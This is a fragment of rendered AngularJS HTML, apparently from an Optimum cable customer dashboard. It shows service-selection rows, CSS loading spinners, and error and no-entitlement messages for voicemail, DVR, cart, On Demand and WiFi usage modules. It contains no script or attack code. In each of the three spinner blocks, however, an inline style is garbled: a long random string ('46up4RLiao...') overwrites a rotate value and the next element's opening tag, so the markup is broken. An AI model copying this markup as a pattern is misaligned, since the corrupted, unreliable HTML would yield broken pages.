menuItem in module.menuItems --><tr ng-repeat="menuItem in module.menuItems" id="select-voiceMail" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Voicemail</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty is-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-onDemand" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">On Demand</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-wifiUsage" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">WiFi</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-webMail" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Email</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-cart" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Cart</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-onTonight" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">TV best bets</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-dvr" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">DVR</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr> </tbody></table> </div> </div> </div> </div> </div> <div class="feature-content"> <!-- "LIST" DISPLAY STYLE --> <div class="list-module-style" ng-show="module.displayStyle=='list'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement && !module.items.length" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div class="no-entitlement-msg" ng-show="!isViewportSize.phone && (module.noEntitlement || module.holdEntitlement)" style="display: none;"> <!-- Webmail --> <h4 ng-show="module.id == 'webMail'" class="ng-binding" style="display: none;"></h4> <h4 ng-show="module.id == 'webMail'" class="ng-binding" style="display: none;"></h4> <!-- DVR --> <h4 ng-show="!isViewportSize.phone && module.id == 'dvr'" style="display: none;"> You do not have DVR service on Optimum TV. <!--<a cta-arrow-link class="primary" href="#">Learn More</a><span if="! isViewportSize.phone"></span>--> </h4> </div> <!-- Error --> <div class="service-error-msg" ng-show="!isViewportSize.phone && module.error" style="display: none;"> <!-- voicemail--> <h4 ng-show="module.id == 'voiceMail'" style="display: none;">We can't get your messages right now. Please try again later.</h4> <!-- webmail --> <h4 ng-show="module.id == 'webMail'" style="display: none;">We cant display your emails here right now, but you can still go to your inbox by clicking Open email box below.</h4> <!-- dvr --> <h4 ng-show="module.id == 'dvr'" style="display: none;">We can't get your DVR recordings right now. Please try again later.</h4> <!-- onTonight (EPG Miniguide) --> <h4 ng-show="module.id == 'onTonight'" style="display: none;">Sorry, we can't get upcoming shows right now. Please try again later.</h4> </div> <!-- Results --> <div class="list-module-results" ng-show="!isViewportSize.phone && module.items.length && !module.listError && !module.listLoading" style="display: none;"> <p ng-show="module.id == 'voiceMail'" ng-bind-html="module.mobileCountMessage" class="ng-binding" style="display: none;"></p> <!-- ngRepeat: item in module.items --> </div> <!-- No Results --> <div class="no-results-msg" ng-show="!isViewportSize.phone && !module.items.length && !module.error && !module.noEntitlement && !module.holdEntitlement"> <!-- voicemail--> <h4 ng-show="module.id == 'voiceMail'" ng-bind-html-unsafe="module.mobileCountMessage" class="ng-binding" style="display: none;"></h4> <!-- webmail --> <h4 ng-show="module.id == 'webMail'" style="display: none;">There are no messages in your inbox.</h4> <!-- dvr --> <h4 ng-show="module.id == 'dvr'" style="display: none;"> You have no recordings scheduled. Set some up using the <a href="#">Guide</a>. </h4> </div> </div> <!-- "ARTWORK" DISPLAY STYLE --> <div class="artwork-module-style" ng-show="module.displayStyle == 'artwork'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement && !module.items.length" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div class="no-entitlement-msg" ng-show="!isViewportSize.phone && module.noEntitlement" style="display: none;"> <!-- cart --> <h4 ng-show="module.id == 'cart'" style="display: none;">You do not have Optimum TV. <!--<a cta-arrow-link class="primary" href="#">Learn More</a>--><!-- if: ! isViewportSize.phone --><span if="! isViewportSize.phone" class="ng-scope"></span></h4> </div> <!-- Error --> <div class="service-error-msg" ng-show="!isViewportSize.phone && module.error" style="display: none;"> <!-- cart--> <h4 ng-show="module.id == 'cart'" style="display: none;">We can't get your <span ng-show="module.isLaBox" style="display: none;">Favorites</span><span ng-show="!module.isLaBox">Cart</span> right now. Please try again later.</h4> <!-- on demand--> <h4 ng-show="module.id == 'onDemand'" style="display: none;">We can't get On Demand right now. Please try again later. <!--<a href="#">All titles</a>.--></h4> </div> <!-- Results --> <div class="row" ng-show="!isViewportSize.phone && module.items.length > 0 && !module.artworkError && !module.loading" style="display: none;"> <!-- ngRepeat: item in module.items --> </div> <!-- No Results --> <div class="no-results-msg" ng-show="!isViewportSize.phone && !module.items.length && !module.error && !module.noEntitlement"> <!-- cart--> <h4 ng-show="module.id == 'cart'" style="display: none;">Your <span ng-show="module.isLaBox" style="display: none;">favorites</span><span ng-show="!module.isLaBox">cart</span> is empty. Pick some items in <a href="#">On Demand</a>.</h4> </div> </div> <!-- "WIFI" DISPLAY STYLE --> <div class="list-module-style wifi-chg" ng-show="module.displayStyle=='wifi'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div ng-show="!isViewportSize.phone && module.noEntitlement" style="display: none;"> <h4>Want to be able to access Optimum WiFi Hotspots? <!-- if: ! isViewportSize.phone --><span if="! isViewportSize.phone" class="ng-scope"></span> </h4> </div> <!-- Error --> <div ng-show="!isViewportSize.phone && module.error" style="display: none;"> <h4 ng-show="module.id == 'wifi'" style="display: none;"> We can't get your usage right now. Please try again later. </h4> </div> <!-- No Results --> <!-- Commenting for covid change --> <!-- <div ng-show="!isViewportSize.phone && !module.noEntitlement && !module.hasWifiUsage"> <h4>You could be getting more value from your Optimum Online service by using Optimum WiFi. <!--<a cta-arrow-link class="primary cta-link-margin" href="#">Learn More</a>--> <!-- </h4> </div> --> <div ng-show="!isViewportSize.phone && !module.noEntitlement && !module.hasWifiUsage"> <h4>We're here to help ensure you have the best WiFi connection in your home. </h4> </div> <div class="wifi-module-style" ng-show="!isViewportSize.phone && module.hasWifiUsage" style="display: none;"> <div class="row" ng-show="!module.wifiError && !module.wifiLoading"> <div class="span12"> <div class="row"> <div class="span4"> <h4>You've used</h4> </div> <div class="span4"> <h4>on</h4> </div> <div class="span4"> <h4>in</h4> </div> </div> <div class="row"> <div class="span4"> <h2 class="ng-binding"></h2> </div> <div class="span4"> <h2 class="ng-binding"></h2> </div> <div class="span4"> <h2 class="ng-binding"></h2> </div> </div> <div class="row"> <div class="span4"> <h5>gb</h5> </div> <div class="span4"> <h5>devices</h5> </div> <div class="span4"> <h5>days</h5> </div> </div> </div> </div> </div> </div> </div><!-- /feature-content --> <div class="feature-cta" ng-hide="module.id == 'onDemand' || module.id == 'onTonight'"> <div ng-hide="module.loading"> <span ng-show="module.link.mobileTitle" style="display: none;"><span class="primary hidden-desktop hidden-tablet cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span></span> <span ng-show="showLink && module.link.title" style="display: none;"> <span class="primary hidden-phone cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" 